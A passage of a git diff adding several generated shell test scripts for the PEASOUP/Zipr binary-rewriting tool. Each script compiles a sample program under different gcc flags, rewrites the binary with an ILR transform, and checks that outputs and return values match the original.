+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3445dd0a3246acd760c79c1e5b5e23460a96b806
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..44a261095acf33ba49e36f635158ba43cdc5b44d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5a2769c018b73cc3abc538ab0dc4d065ce17d5a5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..772176f7845c103ff5a9f09c1932cacf66d7a0c6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..61ce9f38a1012ca4d60d5d105c53293af2128158
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c8d7faaad188a3b69a09e759f3b0b87aac71a358
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
